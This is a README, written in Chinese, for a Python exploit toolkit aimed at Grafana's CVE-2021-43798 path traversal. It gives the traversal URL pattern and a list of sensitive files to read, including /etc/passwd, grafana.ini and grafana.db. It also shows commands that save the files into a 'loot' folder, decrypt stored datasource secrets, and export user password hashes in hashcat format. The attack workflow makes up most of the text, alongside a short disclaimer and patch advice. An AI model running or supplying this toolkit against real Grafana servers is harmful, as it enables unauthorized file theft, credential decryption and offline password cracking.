用于 CVE-2021-43798 授权测试的 Python 工具包,该漏洞为 Grafana 路径遍历漏洞,可通过插件资产路径实现未经认证的任意文件读取。
本仓库包含:
grafana_poc.py:交互式任意文件读取 PoC,可将下载的文件保存到本地。grafana_pass_decryptor.py:辅助工具,用于在拥有 grafana.ini 和/或 secret_key 时解密 Grafana 加密的数据源密钥,并从 grafana.db 导出 Grafana 用户密码哈希。请仅在您拥有、操作或已获得明确书面授权进行测试的系统上使用本项目。未经授权的利用可能导致敏感文件、凭据、私钥、数据库内容及用户密码哈希的泄露。
CVE-2021-43798 影响 Grafana 版本 8.0.0-beta1 至 8.3.0。已修复的版本为 8.3.1、8.2.7、8.1.8 和 8.0.7。
该漏洞可通过插件资产路由利用,例如:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
授权验证期间常请求的文件包括:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
访问权限取决于 Grafana 进程的操作系统权限。
requestspycryptodome 或 cryptography(用于密钥解密)安装依赖:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
针对授权目标运行交互式 PoC:
python3 grafana_poc.py -H http://target:3000 -o loot
在提示符下输入绝对路径:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
下载的文件将保存到输出目录中,同时保留远程路径的安全版本,例如:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
如果您同时拥有 grafana.ini 和 grafana.db,解密工具可以从配置文件中读取 secret_key 并尝试解密加密的数据源、告警通知和插件密钥:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
手动解密单个加密 blob:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
输出换行分隔的 JSON:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
Grafana 用户密码不是加密密钥,而是加盐的 PBKDF2 哈希。从 user 表中导出它们:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
仅导出 hashcat 模式 10900 的行:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
将 Grafana 升级至已修复版本:
8.3.1 或更高版本(针对 8.3 分支)8.2.7 或更高版本(针对 8.2 分支)8.1.8 或更高版本(针对 8.1 分支)8.0.7 或更高版本(针对 8.0 分支)如果无法立即升级,Grafana 建议在 Grafana 前端放置一个反向代理,以规范化请求路径,从而缓解路径遍历行为。请将其视为临时控制措施,而非补丁的替代品。
原始公开 PoC 归功于 Exploit-DB 的 s1gh。Grafana 密钥解密工作流程受 jas502n/Grafana-CVE-2021-43798 的公开研究和示例启发,本仓库提供了一个用于实验室和授权评估工作流的 Python 辅助工具。